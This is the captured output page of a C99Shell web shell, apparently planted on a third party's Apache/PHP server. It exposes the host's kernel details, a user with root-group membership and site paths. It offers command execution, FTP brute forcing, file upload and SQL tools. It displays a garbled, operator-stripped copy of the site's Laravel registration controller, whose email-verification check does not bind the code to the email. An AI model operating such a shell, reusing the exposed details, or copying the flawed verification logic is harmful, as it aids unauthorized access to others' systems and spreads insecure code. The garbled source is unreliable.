!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/game.picotech.app/public_html/core/app/Http/Controllers/Auth/User/   drwxr-xr-x
Free 23.64 GB of 117.98 GB (20.03%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RegisterController.php (3.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Auth\User;


use 
App\{Helpers\EmailHelper,
    
Http\Requests\UserRequest,
    
Http\Controllers\Controller,
    
Models\VerifyEmail,
    
Repositories\Front\UserRepository};
use 
App\Models\User;
use 
App\Models\Setting;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\Config;
use 
Illuminate\Support\Facades\Session;

class 
RegisterController extends Controller
{

    
/**
     * Constructor Method.
     *
     * Setting Authentication
     *
     * @param  \App\Repositories\Back\UserRepository $repository
     *
     */
    
public function __construct(UserRepository $repository)
    {
        
$this->repository $repository;
        
$setting Setting::first();
        if(
$setting->recaptcha == 1){
            
Config::set('captcha.sitekey'$setting->google_recaptcha_site_key);
            
Config::set('captcha.secret'$setting->google_recaptcha_secret_key);
        }
    }


    public function 
showForm()
    {
      return 
view('user.auth.register');
    }

    public function 
getCode(Request $request){

        if(
$request->email){

            
$pre_user=User::where('email'$request->email)->first();
            if(
$pre_user){
                return 
response()->json(['status'=>'failed''message'=>__('This email already taken, try new one')]);
            }

            
$randomNumber rand(1000009999999);

            
VerifyEmail::where('email'$request->email)->delete();


            
$newVerify=new VerifyEmail();
            
$newVerify->email=$request->email;
            
$newVerify->token=$randomNumber;
            
$newVerify->save();

            
$mailData = [
                
'to' => $request->email,
                
'type' => 'Verification Code',
                
'body' => __('Your Email Verification Code is:') . ' ' $randomNumber,
                
'subject' => __('Verification Code'),
            ];
            
$emailHelper = new EmailHelper();
            
$emailHelper->sendCustomMail($mailData);

            return 
response()->json(['status'=>'success''message'=>__('Verification code has been sent.')]);
        }

        return 
response()->json(['status'=>'failed''message'=>__('Something went wrong. Try again after some time.')]);


    }


    public function 
register(UserRequest $request)
    {   
        
$request->validate([
            
'email' => 'required|email|unique:users,email'
        
]);

        if(!
$request->code){
            return 
redirect()->back()->withErrors(['error' => __('Please enter verification code')]);
        }

        
$checkVerification=VerifyEmail::where('token'$request->code)->first();
        if(!
$checkVerification){
            return 
redirect()->back()->withErrors(['error'=>__('Invalid verification code')]);
        }

        
$this->repository->register($request);
//        Session::flash('success',__('Account Register Successfully please login'));

        
VerifyEmail::where('email'$request->email)->delete();

        return 
redirect()->route('user.register.complete')->with('success'__('Account Register Successfully please login'));
    }

    public function 
register_complete(){
        return 
view('front.thank_you');
    }
    


    public function 
verify($token)
    {
        
$user User::where('email_token',$token)->first();
       
        if(
$user){
            
            
Auth::login($user);
            
            return 
redirect(route('user.dashboard'));
        }else{
            return 
redirect(route('user.login'));
        }
    }



}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--